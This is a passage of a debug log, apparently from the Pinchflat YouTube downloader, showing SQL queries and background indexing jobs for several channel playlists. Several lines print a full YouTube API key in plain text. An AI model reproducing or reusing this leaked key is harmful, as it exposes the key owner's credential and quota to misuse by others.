m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 16:45:02.991 [debug] QUERY OK source="media_items" db=0.3ms idle=288.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:45:02.992 [debug] QUERY OK source="tasks" db=0.1ms idle=289.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268301, 39, ~U[2026-10-09 21:45:02Z], ~U[2026-10-09 21:45:02Z]] 16:45:02.993 [info] {"args":{"id":39},"id":5268261,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":290587,"event":"job:stop","queue_time":395515,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:03.062 [debug] QUERY OK source="media_items" db=0.3ms idle=70.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 16:45:03.063 [debug] QUERY OK source="media_items" db=0.2ms idle=70.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 16:45:03.064 [debug] QUERY OK source="tasks" db=0.1ms idle=65.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268302, 46, ~U[2026-10-09 21:45:03Z], ~U[2026-10-09 21:45:03Z]] 16:45:03.064 [info] {"args":{"id":46},"id":5268262,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":361945,"event":"job:stop","queue_time":254924,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:03.703 [info] {"args":{"id":47},"id":5268263,"meta":{},"system_time":1791582303703248848,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:03.703 [debug] QUERY OK source="sources" db=0.1ms idle=639.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 16:45:03.703 [debug] QUERY OK source="settings" db=0.1ms idle=639.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:03.704 [debug] QUERY OK source="media_profiles" db=0.1ms idle=633.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:03.704 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:03.704 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 16:45:03.704 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:03.704 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:03.833 [debug] QUERY OK source="media_items" db=0.5ms idle=129.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", "Etvlh10p-eM", "T-LegOd8Jxo", "1eH9jDiP4ow", "Ei00RFhIL4Y", "J7tpbs-slcs", "ZfqE2a7PHpE", "rBlS0Z-cbFU", "92w5doU68D8", "gg_tFb2ohx4", "yEJ4-BgybxY", "KPNPtdz-rz0", "775UbsSpL5I", "cC-JPXUZ0TQ", ...] 16:45:03.834 [debug] QUERY OK source="media_items" db=0.3ms idle=130.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [47] 16:45:03.835 [debug] QUERY OK source="tasks" db=0.1ms idle=131.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268303, 47, ~U[2026-10-09 21:45:03Z], ~U[2026-10-09 21:45:03Z]] 16:45:03.835 [info] {"args":{"id":47},"id":5268263,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132443,"event":"job:stop","queue_time":383625,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:04.704 [info] {"args":{"id":32},"id":5268264,"meta":{},"system_time":1791582304704411930,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:04.704 [debug] QUERY OK source="sources" db=0.1ms idle=868.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:45:04.704 [debug] QUERY OK source="settings" db=0.1ms idle=868.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:04.705 [debug] QUERY OK source="media_profiles" db=0.0ms idle=862.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:04.705 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:04.705 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:45:04.705 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:04.705 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:04.861 [debug] QUERY OK source="media_items" db=0.7ms idle=155.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 16:45:04.863 [debug] QUERY OK source="media_items" db=1.3ms idle=156.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:45:04.863 [debug] QUERY OK source="tasks" db=0.1ms idle=158.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268304, 32, ~U[2026-10-09 21:45:04Z], ~U[2026-10-09 21:45:04Z]] 16:45:04.864 [info] {"args":{"id":32},"id":5268264,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":159374,"event":"job:stop","queue_time":162607,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:05.705 [info] {"args":{"id":24},"id":5268265,"meta":{},"system_time":1791582305705243844,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:05.705 [info] {"args":{"id":15},"id":5268266,"meta":{},"system_time":1791582305705298005,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:05.705 [debug] QUERY OK source="sources" db=0.2ms idle=841.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:45:05.705 [debug] QUERY OK source="sources" db=0.2ms idle=841.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:45:05.706 [debug] QUERY OK source="settings" db=0.2ms idle=835.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:05.706 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:05.706 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:45:05.706 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:45:05.706 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:05.706 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:05.706 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:06.078 [debug] QUERY OK source="media_items" db=0.5ms idle=371.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", 